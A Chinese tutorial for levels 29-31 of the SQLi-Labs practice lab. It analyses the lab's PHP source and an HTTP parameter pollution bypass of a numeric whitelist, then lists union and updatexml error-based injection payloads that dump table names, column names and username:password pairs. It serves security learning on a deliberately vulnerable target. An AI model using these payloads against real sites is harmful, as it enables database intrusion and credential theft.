SQL-Labs靶场“29-31”关通关教程

君衍.

  • 一、二十九关 基于错误的WAF单引号注入
    • 1、源码分析
    • 2、HTTP参数污染
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 二、三十关 基于错误的WAF双引号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入
  • 三、三十一关 基于错误的WAF双引号括号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入

一、二十九关 基于错误的WAF单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

这道题如果按照我们以往的思路去做其实是错误的,下面我们进行错误的示范,首先使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
好了,这下我们直接发现了可以使用联合查询以及报错注入了。然后我们查字段···爆数据,最后发现注入成功了:
在这里插入图片描述
对,上面便是错误的解题,因为我们会发现这一关跟第一关没啥区别了,很简单,实际上我们首先需要进行源码的分析。

1、源码分析

本关包含了三个源码文件,index.php、login.php以及hacked.php文件:
三个文件所展示的页面依次如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好的,下面我们来分析源代码,由于hacked.php源码没啥东西,这里就不详细讲了,需要的查看图片。
index.php:

if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$qs = $_SERVER['QUERY_STRING'];$hint=$qs;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}

下面我进行大致解读,首先就是获取传入id的值,然后执行whitelist进行过滤检测,判断看是否有符号限制规则。之后就是查询,查到显示查询结果,没查到报错。

login.php:

if(isset($_GET['id']))
{$qs = $_SERVER['QUERY_STRING'];$hint=$qs;$id1=java_implimentation($qs);$id=$_GET['id'];//echo $id1;whitelist($id1);//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];  	}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}

接着我进行大致解读,首先查询query字符串,模拟tomcat的查询函数处理,之后再次进行过滤检测,将结果传入sql查询语句当中继续进行查询,如果查询到信息,输出查询信息,如果查不到,那么就输出报错结果。

下面便是最关键的一部分,也是login.php中的两个函数:

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if($match){//echo "you are good";//return $match;}else{	header('Location: hacked.php');//echo "you are bad";}
}// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value){$val=substr($value,0,2);if($val=="id"){$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}}
}

以上是两个函数的源码,下面我们进行分析:

  • $match = preg_match("/^\d+$/", $input);
    • 在whitelist函数当中,首先对获取到的id参数进行正则匹配,必须是数字,^表示匹配输出子行首,$符表示匹配输入行尾,\d匹配一个数字字符,0-9,+表示匹配前面得子表达式一次或多次
  • 然后进行if判断,如果不是数字,那么跳转到hacked.php页面,以上便是whitelist函数内容
  • 下面是java_implimentation函数
    • $q_s = $query_string;$qs_array= explode("&",$q_s);
    • 这里首先将$query_string的变量值赋给$q_s变量,下一步便是使用explode函数将字符串$q_s根据&符号进行分割,生成一个$qs_array数组。也就是将id=1&id=2分割为[id=1,id=2]

最后便是一个遍历函数:

# 遍历数组中每一个元素,同时将值赋给key
# 当前元素将值赋给value
foreach($qs_array as $key => $value)
{# 使用substr函数从value中提取两个字符赋给val$val=substr($value,0,2);# 进行判断,看val是否等于字符串id# 如果当前元素的前两个字符是idif($val=="id"){# 从当前元素值value中提取第四个字符开始30个字符,赋给id_value$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}
}

对,这里我们看似没有问题,实际上:

$id1=java_implimentation($qs);
...
whitelist($id1);

这个函数捕捉到id值时候就会返回return $id_value,这样就会导致用户加入构造两组id,后面的id就会绕过函数检测,如果还不懂的话我们可以慢慢来,现在源码分析完了,我们接下来查看模拟的场景。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、HTTP参数污染

首先我们找到登录页面:
在这里插入图片描述
我们可以看到下面有两个文档,然后点击第一个链接:
在这里插入图片描述
往下滑即可看到:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到列举了好多中间件,以及获取的参数的情况表。这里我们着重认识apache、tomcat、python、php、IIS等常用的获取到参数的情况。
这里我们可以看到tomcat服务器只解析参数中的前者,而真正的apache服务器则解析后者:
在这里插入图片描述
所以这里我们就可以传入两个id参数,前者合法,然后后者进行注入。
这便是这关的原理!!!

?id=1&id=注入语句

以上便是HTTP参数污染中的情况,即为攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。

3、联合查询注入

1、猜测字段

?id=1&id=1' order by 3--+
?id=1&id=1' order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1' union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1'union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

4、updatexml报错注入

1、爆出数据库名称

?id=1&id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

二、三十关 基于错误的WAF双引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=“$id”

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1" order by 3--+
?id=1&id=1" order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1" union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1" union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

三、三十一关 基于错误的WAF双引号括号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1") order by 3--+
?id=1&id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1") union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1") union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2812371.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

STM32--低功耗模式详解

一、PWR简介 正常模式与睡眠模式耗电是mA级&#xff0c;停机模式与待机模式是uA级。 二、电源框图 供电区域有三处&#xff0c;分别是模拟部分供电&#xff08;VDDA&#xff09;&#xff0c;数字部分供电&#xff0c;包括VDD供电区域和1.8V供电区域&#xff0c;后备供电&…

微信小程序 wxs内联与外联的写法

内联写法 <!-- 内联wxs --> <view>大写字母{{m1.toUpper("xmly")}}</view> <wxs module"m1">module.exports.toUpperfunction(str){return str.toUpperCase()} </wxs> 外联写法 新建一个wxs文件 写一个函数&#xff0c;将…

论文阅读:《High-Resolution Image Synthesis with Latent Diffusion Models》

High-Resolution Image Synthesis with Latent Diffusion Models 论文链接 代码链接 What’s the problem addressed in the paper?(这篇文章究竟讲了什么问题&#xff1f;比方说一个算法&#xff0c;它的 input 和 output 是什么&#xff1f;问题的条件是什么) 这篇文章提…

在having、select子句中使用子查询

目录 在having子句中使用子查询 统计出部门平均工资高于公司平均工资的部门编号、平均工资、部门人数 在select子句中使用子查询 查询每个员工的编号、姓名、职位、部门名称 Oracle从入门到总裁:https://blog.csdn.net/weixin_67859959/article/details/135209645 在havin…

能碳双控| AIRIOT智慧能碳管理解决方案

在当前全球气候变化和可持续发展的背景下&#xff0c;建设能碳管理平台成为组织迎接挑战、提升可持续性的重要一环&#xff0c;有助于组织实现可持续发展目标&#xff0c;提高社会责任形象&#xff0c;同时适应未来碳排放管理的挑战。能碳管理是一个涉及跟踪、报告和减少组织碳…

在github的README.md中插入视频;在github的README.md中添加gif演示动画

最近需要再github中上传项目的源代码&#xff0c;应导师的要求&#xff0c;需要再README中加入对实验视频的展示&#xff0c;但是github的README.md其实就是一个markdown文件&#xff0c;据我的理解这个文件里应该无法直接插入视频吧&#xff1f;&#xff08;如果后续有办法直接…

数据分析-Pandas数据如何图示规律

数据分析-Pandas数据如何图示规律 数据分析和处理中&#xff0c;难免会遇到各种数据&#xff0c;那么数据呈现怎样的规律呢&#xff1f;不管金融数据&#xff0c;风控数据&#xff0c;营销数据等等&#xff0c;莫不如此。如何通过图示展示数据的规律&#xff1f; 数据表&…

倒模专用制作耳机壳UV树脂:改性丙烯酸树脂

倒模专用制作耳机壳的UV树脂是经过改性的丙烯酸树脂&#xff0c;具有高透明度、高粘度、快速固化的特点。这种树脂可以通过紫外线光固化&#xff0c;快速形成坚硬的表面&#xff0c;并且具有较高的硬度和耐磨性&#xff0c;因此非常适合用于制作耳机壳。 此外&#xff0c;改性丙…

【论文阅读-PRIVGUARD】Day3:1-2节

PRIVGUARD: Privacy Regulation Compliance Made Easier&#xff08;PRIVGUARD&#xff1a;更轻松地遵守隐私规定&#xff09; 摘要 持续遵守如GDPR和CCPA等隐私法规已经成为从小型创业公司到商业巨头的公司的一项昂贵负担。罪魁祸首是当今合规过程中对人工审核的严重依赖&…

酷开科技,让酷开系统成为现代生活的变革者

电视&#xff0c;从问世就一直受到人们的追捧。还记得小时候一家人围坐在电视机前的场景&#xff0c;小小的黑白屏幕&#xff0c;牢牢的吸引着大家的目光。随着科技的不断进步&#xff0c;我们的生活也发生了翻天覆地的变化。而电视&#xff0c;也从笨重的黑白电视变成了轻薄的…

省内顺丰寄一台电脑多少钱,顺丰不会乱丢包裹

省内用顺丰快递寄电脑要多少钱&#xff1f; 使用顺丰速运。 顺丰快递不会乱扔包裹。 根据地区不同&#xff0c;邮费预计在120至150元左右。 有些地方顺丰不允许寄电脑&#xff0c;因为电脑特别容易损坏。 一般来说&#xff0c;您需要自己做。 有的顺丰还帮忙在电脑主机的外箱上…

Mycat核心教程--基于HA 机制的Mycat 高可用【二】

Mycat核心教程--基于HA 机制的Mycat 高可用 六、基于HA 机制的Mycat 高可用6.1.高可用方案6.2.安装配置HAProxy6.2.1.准备好HAProxy安装包&#xff0c;传到/opt目录下6.2.2.解压到/usr/local/src6.2.3.进入解压后的目录&#xff0c;查看内核版本&#xff0c;进行编译6.2.4.编译…

宠物空气净化器—养猫人士对猫毛过敏必备好物

当很多铲屎官养猫一段时间后&#xff0c;突然就对猫毛过敏&#xff0c;这真的很难受。有些人认为对猫咪过敏是因为它们在空气中飘浮的毛发导致的&#xff01;其实大部分人过敏是因为猫身上的一种微小的蛋白质。这种会引起过敏的蛋白质附着在猫咪的一些皮屑上。猫咪很爱干净&…

苍穹外卖 -- day11 - Apache ECharts- 营业额统计- 用户统计- 订单统计- 销量排名Top10

苍穹外卖-day11 课程内容 Apache ECharts 营业额统计 用户统计 订单统计 销量排名Top10 功能实现&#xff1a;数据统计 数据统计效果图&#xff1a; 1. Apache ECharts 1.1 介绍 Apache ECharts 是一款基于 Javascript 的数据可视化图表库&#xff0c;提供直观&#x…

浅谈 TCP 三次握手

文章目录 三次握手 三次握手 首先我们需要明确&#xff0c;三次握手的目的是什么&#xff1f; 是为了通信双方之间建立连接&#xff0c;然后传输数据。 那么建立连接的条件是什么呢&#xff1f; 需要确保通信的双方都确认彼此的接收和发送能力正常&#xff0c;满足这个条件&a…

win系统环境变量设置后不马上启用解决方法

目录 1. 刷新系统变量缓存2. 查看环境变量,检查是否真的保存成功了3. 重启系统(最后的玄学)总结 欢迎关注 『发现你走远了』 博客&#xff0c;持续更新中 欢迎关注 『发现你走远了』 博客&#xff0c;持续更新中 1. 刷新系统变量缓存 有时候系统会缓存环境变量&#xff0c;导致…

将文件从windows传入到ubuntu

实现效果图 2.方法&#xff1a; 2.1打开 Ubuntu 的终端窗口&#xff0c;然后执行如下命令来安装 FTP 服务 输入&#xff1a;sudo apt-get install vsftpd 等待软件自动安装&#xff0c;安装完成以后使用如下 VI 命令打开/etc/vsftpd.conf&#xff0c;命令如下&#xff1a;su…

Spring6学习技术|事务

学习材料 尚硅谷Spring零基础入门到进阶&#xff0c;一套搞定spring6全套视频教程&#xff08;源码级讲解&#xff09; 事务 什么是事务&#xff1f;好像是数据库部分的词&#xff0c;我自己的理解是对数据库进行的操作序列&#xff0c;要么一起完成&#xff0c;要么都不完成…

关于纯前端想要变成全栈编写接口的学习推荐

推荐学习uniappuniclouduniadmin 学习成本低,不到一个月就能开发出自己的接口,上传到服务空间,并且能够实现后端的功能,能够调用接口 当然这里使用的不是mysql数据库,而是unicloud推荐的存储方式 操作起来也很方便